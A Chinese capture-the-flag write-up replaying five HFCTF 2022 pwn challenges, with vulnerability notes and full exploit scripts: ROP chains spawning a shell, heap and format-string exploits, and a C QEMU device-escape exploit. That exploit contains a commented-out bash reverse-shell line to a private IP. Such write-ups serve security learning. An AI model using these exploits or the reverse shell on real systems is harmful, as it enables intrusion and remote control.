hfctf2022

今年的天津市的ctf比赛竟然使用奇安信的平台,想到去年的市赛不知道用谁家的平台,连个pwn的靶机都没搞好,体验巨差,今年奇安信的平台就非常舒服。

天津市的ctf比赛全是入门题,没什么可说的。后来我看到奇安信的平台上还有存有去年虎符ctf的题,自己就试着复现一下。

网上其他师傅也都复现过,建议直接看这些师傅的博客:

https://kpwnz.github.io/2022/03/23/%E8%99%8E%E7%AC%A62022-pwn-%E5%A4%8D%E7%8E%B0/

https://bbs.kanxue.com/thread-271978.htm

https://www.xi4oyu.top/cdcd3a27

https://r3kapig.com/writeup/20211102-hacklu/#unsafemid

gogogo

真佩服出题人的脑洞,拿个main__main函数迷惑你,真正的主函数是math_init函数,里面的字符串竟然是由一个一个字母打印出来的

这里参考了一下ida的user_call教程,改变一下函数参数调用规则,让伪代码更好看。最后的漏洞是在通过BULLS AND COWS的游戏后进入exit选项后的栈溢出(正常人哪想得到)。

最后的exp参考了这篇博客的BULLS AND COWS的解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import*
elf = ELF('gogogo')
#sh = process('./gogogo')
sh = remote('112.74.186.148', 49363)
context.log_level = 'debug'
context.arch = 'amd64'
#p.sendlineafter(b':', b'305419896')
#p.sendlineafter(b':', b'1717986918')
sh.sendlineafter(b':', b'1416925456')

sh.recvuntil(b'GUESS\n')
li = [0,1,2,3,4,5,6,7,8,9]
guessli = []
for i in li:
for u in li:
if u == i:
continue
for o in li:
if u == o or o == i:
continue
for p in li:
if p == o or p == u or p == i:
continue
else:
four = p
guessli.append([i,u,o,p])

total = 0
for guess in guessli:
total += 1
time.sleep(1)
num = str(guess[0]) + ' ' + str(guess[1]) + ' ' + str(guess[2]) + ' ' + str(guess[3])
#print(num)
sh.sendline(num.encode())
recv = sh.recvuntil(b'\n')
if b'YOU WIN\n' in recv:
break
A = int(recv[0:1], 10)
B = int(recv[2:3], 10)
A = str(A)
B = str(B)
if(total == 7):
break
guessli.remove(guess)
#print(guessli)
while True:
if str.isdigit(A) == 1 and len(A) == 1 and str.isdigit(B) == 1 and len(B) == 1:
if int(A)+int(B) <= 4 :
A = int(A)
B = int(B)
break
else:
print('')
else:
print('')
if A == 0 and B == 0 :
guesslis = guessli.copy()
for item in guesslis:
if guess[0] in item or guess[1] in item or guess[2] in item or guess[3] in item:
guessli.remove(item)
elif A == 0:
guesslia = guessli.copy()
for item in guesslia:
if item[0] == guess[0] :
guessli.remove(item)
elif item[1] == guess[1]:
guessli.remove(item)
elif item[2] == guess[2]:
guessli.remove(item)
elif item[3] == guess[3]:
guessli.remove(item)
if A + B > 0:
guesslib = guessli.copy()
for item in guesslib:
count = 0
if guess[0] in item :
count += 1
if guess[1] in item:
count += 1
if guess[2] in item:
count += 1
if guess[3] in item:
count += 1
if count < A + B or count > A + B:
guessli.remove(item)
if A > 0:
guesslie = guessli.copy()
for item in guesslie:
count = 0
if guess[0] == item[0]:
count += 1
if guess[1] == item[1]:
count += 1
if guess[2] == item[2] :
count += 1
if guess[3] == item[3]:
count += 1
if count < A:
guessli.remove(item)

sh.sendline(b'EXIT')
sh.sendlineafter(b'(4) EXIT\n', b'4')

pop_rax_ret = 0x405b78
pop_rdx_ret = 0x48546c
mov_rdi_rax_ret = 0x45beb8
xchg_rsi_rax_ret = 0x45b327
syscall_ret = 0x45c849
payload = b'0' * 0x460
payload += flat(
pop_rax_ret, 0x68732f6e69622f,
mov_rdi_rax_ret,
pop_rax_ret, 0,
xchg_rsi_rax_ret,
pop_rdx_ret, 0,
pop_rax_ret, 0x3b,
syscall_ret
)
sh.sendlineafter(b'SURE?', payload)
# pause()
# sh.sendlineafter(b'BYE~', b'a')
sh.interactive()

mva

一个vmpwn题,每4个字节为一个指令,最后也很容易找到这个数组的负数溢出

利用这个漏洞可以改掉pop操作中的数组索引,实现栈上的数据任意读,读取__libc_start_main函数,利用加减运算可以改为one_gadget,但是push操作对索引限制了大小 ,当时自己并没有想到合适方法来实现栈上的数据任意写,看了其他师傅的wp才恍然大悟,push中有mov [rbp+rax*2+var_210], dx,利用rax*2的负数溢出即可绕过索引的限制。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import*
elf = ELF('mva')
libc = elf.libc
p = process('./mva')
context.log_level = 'debug'

def mov(s1, val):
code = p8(1) + p8(s1) + p8(val >> 8) + p8(val & 0xff)
return code

def add(s1, s2, s3):
code = p8(2) + p8(s1) + p8(s2) + p8(s3)
return code

def sub(s1, s2, s3):
code = p8(3) + p8(s1) + p8(s2) + p8(s3)
return code

def load(s1, s2):
code = p8(0xe) + p8(s1) + p8(s2) + p8(0)
return code

def push():
code = p8(0x9) + p8(0) + p8(0) + p8(0)
return code

def pop(s1):
code = p8(0xa) + p8(s1) + p8(0) + p8(0)
return code

payload = mov(0, 0x10e) + load(0, 0xf6)
payload += pop(1) + pop(2)
payload += mov(0, 0x582) + sub(2, 2, 0)
payload += mov(0, 0xc) + add(1, 1, 0)
payload += mov(0, 0x10c) + load(0, 0xf6)
payload += mov(0, 0) + load(0, 0xf7)
payload += mov(0, 0) + load(0, 0xf8)
payload += mov(0, 0x8000) + load(0, 0xf9)
payload += load(2, 0) + push() + load(1, 0) + push()

payload = payload.ljust(0x100, b'\x00')
p.sendafter(b':', payload)
# pause()
p.interactive()

vdq

又是一道rust的题,流程倒是很简单,get_opr_lst函数中有个serde_json::from_str的反序列化操作,如果反序列化的结果错误是会直接退出的,自己当时为了搞清楚rust的反序列化还专门编译一个程序,再去用该程序在ida中分析。

当时的测试的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
use serde::{Serialize, Deserialize};
#[derive(Debug, Serialize, Deserialize)]
struct Person {
name: String,
age: i32
}
fn main() {
let point = Person {name:"aaaaa".to_owned(), age:2};
let json = serde_json::to_string(&point).unwrap();
println!("{}", json);
let point1: Person = serde_json::from_str(&json).unwrap();
println!("{:?}", point1);
}

回到本题上去,要求反序列化的结果是一个Vec<vdq::Operation>,vdq::Operation是一个枚举类型:

搞清楚以后,最后测试一下序列化会变成字符串是什么内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
use serde::{Serialize, Deserialize};
#[derive(Debug, Serialize, Deserialize)]
enum Operation{
Add,
Remove,
Append,
Archive,
View
}
fn main() {
let v:Vec<Operation> = vec![Operation::Add, Operation::Remove];
let json:String = serde_json::to_string(&v).unwrap();
println!("{}", json);
}

vdq::handle_opr_lst函数就是将反序列化的结果变成一个个类似于堆菜单的操作,自己当时完全没有发现任何漏洞,直接看其他师傅的文章后才知道还能直接用python写一个fuzz脚本直接将漏洞找出来,具体细节就直接看本文开头推荐的文章吧,自己复现时被rust的堆分配快折磨疯了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import*
elf = ELF('vdq')
libc = elf.libc
p = process('./vdq')
context.log_level = 'debug'

json_string = '["Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add",'
json_string += '"Remove", "Remove", "View", "Add", "Remove", "Append", "Append"'
json_string += ']'
#json_string = '["Add", "Add", "Add", "Remove", "Add", "Remove", "View", "Add", "Add"]'
# json_string = b'''["Add", "Add", "Add", "Archive", "Archive", "View", "Add", "Append", "Add", "View", "Archive", "Add"]'''

p.sendlineafter(b'!', json_string)
p.sendline(b'$')

p.sendlineafter(b':', b'a' * 0x10)
p.sendlineafter(b':', b'b' * 0x10)
p.sendlineafter(b':', b'c' * 0x10)
p.sendlineafter(b':', b'd' * 0x10)
p.sendlineafter(b':', b'e' * 0x410)
p.recvuntil(b':')
p.sendlineafter(b':', b'f' * 0x410)
p.recvuntil(b':\n')
p.recvuntil(b' -> ')
leak = 0
for i in range(6):
leak += (int(p.recv(2), 16) << (i * 8))
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
libc.address = libc_base
print(hex(libc_base))

p.sendlineafter(b':', b'a' * 7)
p.sendlineafter(b':', p64(0) * 2 + p64(libc.sym['__free_hook'] - 0x12 - 8 * 4) + p64(0))
# gdb.attach(p)
# pause()
p.sendlineafter(b':', b'/bin/sh\x00' + p64(libc.sym['system']))
#pause()
p.interactive()

babygame

唯一一个自己成功写出来的题。

这里的变量v5可以直接被后面的溢出覆盖,让接下来的游戏中的随机数变成伪随机数

顺利通过游戏后就有一个格式化字符串漏洞,但只有一次,泄漏出相关信息后还要改变返回地址,所以需要栈上的一些与返回地址距离比较近的栈值去修改,当然这有1/16的机率修改成功

修改返回值为0x153E,再次使用格式化字符串漏洞,利用之前泄漏的信息去改变返回地址为主函数,利用栈溢出直接ROP。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import*
elf = ELF('babygame')
libc = ELF('libc-2.31.so')
#p = process('./babygame', aslr=False)
p = remote('112.74.186.148',49378)
context.log_level = 'debug'
context.arch = 'amd64'

payload = b'a' * 0x100 + p64(0)
p.sendafter(b':', payload)

p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'0')


payload = b'%39$p%40$p%41$p%79$p'
payload += b'a' * 2 + b'%22$hhn'
payload = payload.ljust(0x80, b'\x00') + b'\x78'
p.sendafter(b'you.', payload)

p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
p.recvuntil(b'0x')
elf.address = int(p.recv(12), 16) - 0x1543
p.recvuntil(b'0x')
libc.address = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 243
print(hex(canary))
print(hex(stack))
print(hex(elf.address))
print(hex(libc.address))

payload = fmtstr_payload(6, {(stack - 0x128) : (elf.address + 0x146a)}, write_size='byte')
p.sendafter(b'you.', payload)

pop_rdi_ret = libc.address + 0x23b72
pop_rsi_ret = libc.address + 0x2604f
pop_rdx__r12_ret = libc.address + 0x119241

payload = b'a' * 0x108 + p64(canary) + p64(0) * 3
payload += flat(
pop_rdi_ret, 0,
pop_rsi_ret, stack,
pop_rdx__r12_ret, 8, 0,
libc.sym['read'],
pop_rdi_ret, stack,
pop_rdi_ret + 1,
libc.sym['system']
)

p.sendafter(b':', payload)

p.sendlineafter(b':',b'0')
#pause()
p.send(b'/bin/sh\x00')
p.interactive()

hfdev

这道qemu逃逸果然不会,具体细节就看本文开头推荐的文章,这里就说一下自己遇到的坑:

  1. 刚开始用inl和outl读写数据,但完全没反应,这题要用inw和outw读写。
  2. 执行hfdev_process函数后一定要sleep,感觉应该是多线程的原因,exp的主函数是与hfdev_process函数同时运行的,如果不sleep会造成条件竞争,后面设置的数据会影响上一次的hfdev_process函数的执行。

这里是本地ubuntu20复现的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <unistd.h>

int port_base = 0xc040;

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
//printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;

gfn = pme & PFN_PFN;
close(fd);
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}


uint32_t pmio_read(uint32_t port){
return inw(port_base + port);
}

void pmio_write(uint32_t port, uint64_t value){
outw(value, port_base + port);
}

void write_addr(size_t addr){
pmio_write(2, addr);
pmio_write(4, addr >> 16);
}

void write_size(size_t size){
pmio_write(6, size);
}

void write_time(size_t value){
pmio_write(10, value);
}

void exec_bh(){
pmio_write(12, 0);
}


char buf[0x1000];

void set_read(uint64_t p_addr, uint16_t size){
*((uint8_t*)(buf)) = 0x20;
*((uint64_t*)(buf + 1)) = p_addr;
*((uint16_t*)(buf + 9)) = size;
}

void set_exec_time(uint16_t size, uint16_t offset){
*((uint8_t*)(buf)) = 0x30;
*((uint16_t*)(buf + 1)) = size;
*((uint16_t*)(buf + 3)) = offset;
}

void set_encode1(uint8_t add_byte, uint8_t xor_byte, uint16_t size){
*((uint8_t*)(buf)) = 0x10;
*((uint8_t*)(buf + 1)) = add_byte;
*((uint8_t*)(buf + 2)) = xor_byte;
*((uint16_t*)(buf + 3)) = 0x2202;
*((uint16_t*)(buf + 5)) = size;
}

void set_encode2(uint16_t size){
*((uint8_t*)(buf)) = 0x10;
*((uint16_t*)(buf + 3)) = 0x2022;
*((uint16_t*)(buf + 5)) = size;
}

int main(){
size_t pem_buf;
size_t heap_addr;
size_t elf_base;
iopl(3);

// leak heap_addr
puts("STEP-1. leak heap_addr");
pem_buf = gva_to_gpa(buf);
write_addr(pem_buf);
write_size(0x400);
set_encode1(0, 0, 0x200);
exec_bh();
sleep(0.3);
set_exec_time(0x100, 0);
exec_bh();
sleep(0.3);
set_encode2(0x300);
*((uint8_t*)(buf + 7 + 0x300)) = 1;
exec_bh();
sleep(0.3);

set_exec_time(0x10, 0x10);
exec_bh();
sleep(0.3);
set_exec_time(0, 0);
exec_bh();
sleep(0.3);
set_read(pem_buf, 0x310);
exec_bh();
sleep(0.3);
heap_addr = *((size_t*)(buf + 0x308));
printf("leak_heap_addr_is %#lx\n", heap_addr);
size_t hfdev_addr = heap_addr - 2696;
size_t time_struct = hfdev_addr + 0x1d40;
size_t bh_struct = hfdev_addr - 0x101a80;
printf("time_struct_addr_is %#lx\n", time_struct);
printf("bh_struct_addr_is %#lx\n", bh_struct);


//leak elf_base
puts("STEP-2. leak qemu elf_addr");
memset(buf, 0, 0x400);
set_encode2(0x300);
*((uint8_t*)(buf + 7 + 0x300)) = 1;
exec_bh();
sleep(0.3);
set_exec_time(0x10, 0x10);
*((size_t*)(buf + 0x10)) = time_struct;
*((size_t*)(buf + 0x18)) = bh_struct;
exec_bh();
sleep(0.3);
set_encode2(0x300);
exec_bh();
sleep(0.3);

write_time(8);
set_exec_time(0x18, 0);
exec_bh();
sleep(0.3);
set_encode2(0x310);
*((uint64_t*)(buf + 7 + 0x308)) = heap_addr ^ time_struct;
exec_bh();
sleep(1);
set_read(pem_buf, 0x338);
exec_bh();
sleep(0.3);
size_t leak_addr = *((size_t*)(buf + 0x330));
printf("leak_addr_is %#lx\n", leak_addr);
elf_base = leak_addr - 0x381190;
size_t system_plt = elf_base + 0x2D6610;
printf("qemu_elf_base_is %#lx\n", elf_base);

puts("STEP-3. hijack time_struct");
memset(buf, 0, 0x400);
size_t faker_time_struct_addr = heap_addr + 0x108;
size_t cmd_addr = faker_time_struct_addr + 0x40;
size_t faker_time_struct[8];
char cmd[0x40] = "gnome-calculator";
//char cmd[0x40] = "/bin/bash -c \'bash -i >& /dev/tcp/192.168.184.142/8888 0>&1\'";
faker_time_struct[0] = 0xffffffffffffffff;
faker_time_struct[1] = time_struct - 0x110f360;
faker_time_struct[2] = system_plt;
faker_time_struct[3] = cmd_addr;
faker_time_struct[4] = 0;
faker_time_struct[5] = 0x100000000;

memcpy(buf + 0x108, faker_time_struct, 0x40);
memcpy(buf + 0x108 + 0x40, cmd, 0x40);
*((uint8_t*)(buf + 7 + 0x300)) = 1;
*((uint64_t*)(buf + 7 + 0x310)) = faker_time_struct_addr ^ time_struct;
set_encode2(0x318);
exec_bh();
sleep(0.3);
set_exec_time(0x18, 0);
exec_bh();

//0x1d40 0x101a80
}

hfctf2022
https://xtxtn.github.io/2023/07/06/hfctf2022/
作者
xtxtn
发布于
2023年7月6日
更新于
2023年8月17日
许可协议